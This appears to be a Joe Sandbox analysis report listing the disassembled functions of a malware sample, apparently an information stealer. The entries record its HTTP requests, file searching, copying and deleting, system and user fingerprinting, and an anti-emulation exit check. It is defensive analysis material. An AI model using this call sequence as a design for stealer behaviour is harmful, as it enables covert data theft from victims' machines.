Associated: 00000013.00000002.2529434887.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_cda9e1cbbc.jbxd

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: e67069b7a25109c1f103972856e5ff06790c1bc0ba95d107da3788f3134d6b09
Instruction ID: a64f93d993f1e87f951aacd978fe42101be04856bc676c4d6d5bcee74d417e49
Opcode Fuzzy Hash: e67069b7a25109c1f103972856e5ff06790c1bc0ba95d107da3788f3134d6b09
Instruction Fuzzy Hash: F0F08230900605FFEB20ABA0EC09BFE7736AF04715F11441BB916A51D5CBF89582CA6E

Function 00414CD0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 004062D0: InternetOpenA.WININET(00420DE6,00000001,00000000,00000000,00000000), ref: 00406331
Part of subcall function 004062D0: StrCmpCA.SHLWAPI(?,0260ADA0), ref: 00406353
Part of subcall function 004062D0: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406385
Part of subcall function 004062D0: HttpOpenRequestA.WININET(00000000,GET,?,0260A340,00000000,00000000,00400100,00000000), ref: 004063D5
Part of subcall function 004062D0: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 0040640F
Part of subcall function 004062D0: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406421

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00414D08

Strings

ERROR, xrefs: 00414D53
ERROR, xrefs: 00414CFA

Memory Dump Source

Source File: 00000013.00000002.2529434887.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_cda9e1cbbc.jbxd

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 58d2b9f8748834604f24f38fd7cdd392fe5c4ffa99ef35d538bd2fc66a2a16af
Instruction ID: 9b7a9698bb488a37f3de611b15de8acf20b28e6af01427a962a44d236a29daab
Opcode Fuzzy Hash: 58d2b9f8748834604f24f38fd7cdd392fe5c4ffa99ef35d538bd2fc66a2a16af
Instruction Fuzzy Hash: 7F113330901108B7CB14FF61DC56AED7338AF50354F90816EF80B5A5A2EF786B95C75A

Function 00414A20 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418880: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

lstrcat.KERNEL32(?,00000000), ref: 00414A5A
lstrcat.KERNEL32(?,00421040), ref: 00414A77
lstrcat.KERNEL32(?,02606C10), ref: 00414A8B
lstrcat.KERNEL32(?,00421044), ref: 00414A9D

Part of subcall function 004143F0: wsprintfA.USER32 ref: 0041440C
Part of subcall function 004143F0: FindFirstFileA.KERNEL32(?,?), ref: 00414423

Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FAC), ref: 00414451
Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FB0), ref: 00414467
Part of subcall function 004143F0: FindNextFileA.KERNEL32(000000FF,?), ref: 0041465D
Part of subcall function 004143F0: FindClose.KERNEL32(000000FF), ref: 00414672

Memory Dump Source

Source File: 00000013.00000002.2529434887.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_cda9e1cbbc.jbxd

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: d9a7bb441cace2264c65b2c89e45308c98edaaf84c68a629cbd2b1765e33ed5e
Instruction ID: 8dbf70b05384144c92fb0b395b2fe843caac1dc39a8cdd365ca80c12b48963c0
Opcode Fuzzy Hash: d9a7bb441cace2264c65b2c89e45308c98edaaf84c68a629cbd2b1765e33ed5e
Instruction Fuzzy Hash: B6214F76A002086BC724FBA0EC42EDD373DAF94304F40845EB94A571D1EE7856C98BA5

Function 00414690 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418880: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

lstrcat.KERNEL32(?,00000000), ref: 004146CA
lstrcat.KERNEL32(?,02609D60), ref: 004146E8

Part of subcall function 004143F0: wsprintfA.USER32 ref: 0041440C
Part of subcall function 004143F0: FindFirstFileA.KERNEL32(?,?), ref: 00414423

Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FAC), ref: 00414451
Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FB0), ref: 00414467
Part of subcall function 004143F0: FindNextFileA.KERNEL32(000000FF,?), ref: 0041465D
Part of subcall function 004143F0: FindClose.KERNEL32(000000FF), ref: 00414672

Part of subcall function 004143F0: wsprintfA.USER32 ref: 00414490
Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,004208BA), ref: 004144A5
Part of subcall function 004143F0: wsprintfA.USER32 ref: 004144C2
Part of subcall function 004143F0: PathMatchSpecA.SHLWAPI(?,?), ref: 004144FE
Part of subcall function 004143F0: lstrcat.KERNEL32(?,02606CF0), ref: 0041452A
Part of subcall function 004143F0: lstrcat.KERNEL32(?,00420FC8), ref: 0041453C
Part of subcall function 004143F0: lstrcat.KERNEL32(?,?), ref: 00414550
Part of subcall function 004143F0: lstrcat.KERNEL32(?,00420FCC), ref: 00414562
Part of subcall function 004143F0: lstrcat.KERNEL32(?,?), ref: 00414576
Part of subcall function 004143F0: CopyFileA.KERNEL32(?,?,00000001), ref: 0041458C
Part of subcall function 004143F0: DeleteFileA.KERNEL32(?), ref: 00414611

Part of subcall function 004143F0: wsprintfA.USER32 ref: 004144E7

Strings

5\A, xrefs: 0041470F, 00414744, 0041477A, 004147AF, 004147E5, 0041481A, 0041483F, 00414712, 00414747, 0041477D, 004147B2, 004147E8, 0041481D

Memory Dump Source

Source File: 00000013.00000002.2529434887.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_cda9e1cbbc.jbxd

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: 5\A
API String ID: 2104210347-3392445751
Opcode ID: e73a277ec495b34ed2bd4af22877a3a9feb46bd0b7d201f2f977525177bc6704
Instruction ID: 53e7b7cde32fa2def73dba0ef3da04c4d4f6f11e0d96676858e1097c5765331f
Opcode Fuzzy Hash: e73a277ec495b34ed2bd4af22877a3a9feb46bd0b7d201f2f977525177bc6704
Instruction Fuzzy Hash: 1441EBB660010467CB64FB64EC83EEE333DAB84304F40855EB94997191ED795ACD8BE6

Function 00417380 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004164CB), ref: 004173B0
HeapAlloc.KERNEL32(00000000,?,?,?,004164CB), ref: 004173B7
GetComputerNameA.KERNEL32(?,00000104), ref: 004173CF

Memory Dump Source

Source File: 00000013.00000002.2529434887.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_cda9e1cbbc.jbxd

Similarity

API ID: Heap$AllocComputerNameProcess
String ID:
API String ID: 4203777966-0
Opcode ID: 9cad883e92767d667f7a3bd3c491df47bdb8f8355287bf46401cfbf98ae607a3
Instruction ID: 42712b1d228129e2e67f3f866f9c43061177fb5da2658b34d54d74d13c44c576
Opcode Fuzzy Hash: 9cad883e92767d667f7a3bd3c491df47bdb8f8355287bf46401cfbf98ae607a3
Instruction Fuzzy Hash: BC0181B1A08608EBC710CF99DD45BEEBBB8FB04721F20021AF905E3690D7785945CBA5

Function 6CAB3060 Relevance: 4.5, APIs: 3, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6CAB3095

Part of subcall function 6CAB35A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6CB3F688,00001000), ref: 6CAB35D5
Part of subcall function 6CAB35A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CAB35E0
Part of subcall function 6CAB35A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6CAB35FD
Part of subcall function 6CAB35A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CAB363F
Part of subcall function 6CAB35A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CAB369F
Part of subcall function 6CAB35A0: __aulldiv.LIBCMT ref: 6CAB36E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CAB309F

Part of subcall function 6CAD5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CAD56EE,?,00000001), ref: 6CAD5B85
Part of subcall function 6CAD5B50: EnterCriticalSection.KERNEL32(6CB3F688,?,?,?,6CAD56EE,?,00000001), ref: 6CAD5B90
Part of subcall function 6CAD5B50: LeaveCriticalSection.KERNEL32(6CB3F688,?,?,?,6CAD56EE,?,00000001), ref: 6CAD5BD8
Part of subcall function 6CAD5B50: GetTickCount64.KERNEL32 ref: 6CAD5BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6CAB30BE

Part of subcall function 6CAB30F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6CAB3127
Part of subcall function 6CAB30F0: __aulldiv.LIBCMT ref: 6CAB3140

Part of subcall function 6CAEAB2A: __onexit.LIBCMT ref: 6CAEAB30

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 872987d516bc8613231770917a9efbcef68c1002fb11077353e64d4a45311912
Instruction ID: fa63d9e91f973e4223986257b32123bf24cd50857c1e94bb3dea7b2cb972a0cb
Opcode Fuzzy Hash: 872987d516bc8613231770917a9efbcef68c1002fb11077353e64d4a45311912
Instruction Fuzzy Hash: 77F0D612E20B8497CA20DF748A411AE7374AF6B114B10231AE88C63521FB3065DCC3D1

Function 00418F10 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 00418F24
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00418F45
CloseHandle.KERNEL32(00000000), ref: 00418F4F

Memory Dump Source

Source File: 00000013.00000002.2529434887.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_cda9e1cbbc.jbxd

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: 904f881645263b8d6980a0d5e63786ab633fa25ddeb60b9bffeff93c14b2dbd8
Instruction ID: 429e76ffcb292cc7325fe34a8c967f3e8a19cc1fb06d1469951f90a9fbb0bdee
Opcode Fuzzy Hash: 904f881645263b8d6980a0d5e63786ab633fa25ddeb60b9bffeff93c14b2dbd8
Instruction Fuzzy Hash: 29F05E74A0020CFBDB14DFA4DD4AFEE7779AB08700F004498BB0997290D6B0AE85CB94

Function 00401110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,004164BC), ref: 0040112B
VirtualAllocExNuma.KERNEL32(00000000,?,?,004164BC), ref: 00401132
ExitProcess.KERNEL32 ref: 00401143

Memory Dump Source

Source File: 00000013.00000002.2529434887.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_cda9e1cbbc.jbxd

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 678cf5f3e7197d72abcfc3c147a4750855ebb5e345b53b76b616ef84aefebb1b
Instruction ID: 0e2e6d3d2f445679f77a7861b9af8e0e8f55b174cdb9f0aa425208459b8dc1b3
Opcode Fuzzy Hash: 678cf5f3e7197d72abcfc3c147a4750855ebb5e345b53b76b616ef84aefebb1b
Instruction Fuzzy Hash: 3DE08670945308FBE7205FA09C0AB4D76689B04B05F105056F708BA1E0C6B82501865C

Function 00411520 Relevance: 3.9, APIs: 2, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00416FA0: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00416FE2
Part of subcall function 00416FA0: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041701F
Part of subcall function 00416FA0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 004170A3
Part of subcall function 00416FA0: HeapAlloc.KERNEL32(00000000), ref: 004170AA

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 00417130: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417144
Part of subcall function 00417130: HeapAlloc.KERNEL32(00000000), ref: 0041714B

Part of subcall function 00417260: GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,00000000,0041D5B0,000000FF,?,004117A9,00000000,?,0260A020,00000000,?), ref: 00417292
Part of subcall function 00417260: IsWow64Process.KERNEL32(00000000,?,?,?,?,?,00000000,0041D5B0,000000FF,?,004117A9,00000000,?,0260A020,00000000,?), ref: 00417299

Part of subcall function 004172F0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417320
Part of subcall function 004172F0: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417327
Part of subcall function 004172F0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041733F

Part of subcall function 00417380: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004164CB), ref: 004173B0
Part of subcall function 00417380: HeapAlloc.KERNEL32(00000000,?,?,?,004164CB), ref: 004173B7
Part of subcall function 00417380: GetComputerNameA.KERNEL32(?,00000104), ref: 004173CF

Part of subcall function 00417420: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420DD0,00000000,?), ref: 00417450
Part of subcall function 00417420: HeapAlloc.KERNEL32(00000000,?,?,?,?,00420DD0,00000000,?), ref: 00417457
Part of subcall function 00417420: GetLocalTime.KERNEL32(?,?,?,?,?,00420DD0,00000000,?), ref: 00417464
Part of subcall function 00417420: wsprintfA.USER32 ref: 00417493

Part of subcall function 004174D0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,02609570,00000000,?,00420DE0,00000000,?,00000000,00000000), ref: 00417503
Part of subcall function 004174D0: HeapAlloc.KERNEL32(00000000,?,?,?,00000000,00000000,?,02609570,00000000,?,00420DE0,00000000,?,00000000,00000000,?), ref: 0041750A
Part of subcall function 004174D0: GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,02609570,00000000,?,00420DE0,00000000,?,00000000,00000000,?), ref: 0041751D

Part of subcall function 004175A0: GetUserDefaultLocaleName.KERNEL32(00000055,00000055,?,?,?,00000000,00000000,?,02609570,00000000,?,00420DE0,00000000,?,00000000,00000000), ref: 004175D5

Part of subcall function 00417630: GetKeyboardLayoutList.USER32(00000000,00000000,0042059F), ref: 00417681
Part of subcall function 00417630: LocalAlloc.KERNEL32(00000040,?), ref: 00417699
Part of subcall function 00417630: GetKeyboardLayoutList.USER32(?,00000000), ref: 004176AD
Part of subcall function 00417630: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00417702
Part of subcall function 00417630: LocalFree.KERNEL32(00000000), ref: 004177C2

Part of subcall function 00417820: GetSystemPowerStatus.KERNEL32(?), ref: 0041784D

GetCurrentProcessId.KERNEL32(00000000,?,02609E60,00000000,?,00420DF4,00000000,?,00000000,00000000,?,02609540,00000000,?,00420DF0,00000000), ref: 00411B8E

Part of subcall function 00418F10: OpenProcess.KERNEL32(00000410,00000000,?), ref: 00418F24
Part of subcall function 00418F10: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00418F45
Part of subcall function 00418F10: CloseHandle.KERNEL32(00000000), ref: 00418F4F

Part of subcall function 004178A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 004178D7
Part of subcall function 004178A0: HeapAlloc.KERNEL32(00000000), ref: 004178DE
Part of subcall function 004178A0: RegOpenKeyExA.KERNEL32(80000002,025E8E00,00000000,00020119,?), ref: 004178FE
Part of subcall function 004178A0: RegQueryValueExA.KERNEL32(?,02609F20,00000000,00000000,000000FF,000000FF), ref: 0041791F
Part of subcall function 004178A0: RegCloseKey.ADVAPI32(?), ref: 00417932

Part of subcall function 00417A00: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 00417A69
Part of subcall function 00417A00: GetLastError.KERNEL32 ref: 00417A78

Part of subcall function 00417970: GetSystemInfo.KERNEL32(00420DFC), ref: 004179A0
Part of subcall function 00417970: wsprintfA.USER32 ref: 004179B6

Part of subcall function 00417BA0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,026095D0,00000000,?,00420DFC,00000000,?,00000000), ref: 00417BD0
Part of subcall function 00417BA0: HeapAlloc.KERNEL32(00000000,?,?,?,?,00000000,00000000,?,026095D0,00000000,?,00420DFC,00000000,?,00000000,00000000), ref: 00417BD7
Part of subcall function 00417BA0: GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00417BF8
Part of subcall function 00417BA0: __aulldiv.LIBCMT ref: 00417C12
Part of subcall function 00417BA0: __aulldiv.LIBCMT ref: 00417C20
Part of subcall function 00417BA0: wsprintfA.USER32 ref: 00417C4C

Part of subcall function 00418260: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420DF8,00000000,?), ref: 004182CF
Part of subcall function 00418260: HeapAlloc.KERNEL32(00000000,?,?,?,?,00420DF8,00000000,?), ref: 004182D6
Part of subcall function 00418260: wsprintfA.USER32 ref: 004182F0

Part of subcall function 00417DC0: RegOpenKeyExA.KERNEL32(00000000,025E9DE8,00000000,00020019,00000000,004205A6), ref: 00417E44

Part of subcall function 00417DC0: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00417EC6
Part of subcall function 00417DC0: wsprintfA.USER32 ref: 00417EF9
Part of subcall function 00417DC0: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00417F1B
Part of subcall function 00417DC0: RegCloseKey.ADVAPI32(00000000), ref: 00417F2C
Part of subcall function 00417DC0: RegCloseKey.ADVAPI32(00000000), ref: 00417F39

Part of subcall function 00418120: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0041816A
Part of subcall function 00418120: Process32First.KERNEL32(?,00000128), ref: 0041817E
Part of subcall function 00418120: Process32Next.KERNEL32(?,00000128), ref: 00418193
Part of subcall function 00418120: FindCloseChangeNotification.KERNEL32(?), ref: 00418201

lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 0041216B

Memory Dump Source

Source File: 00000013.00000002.2529434887.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
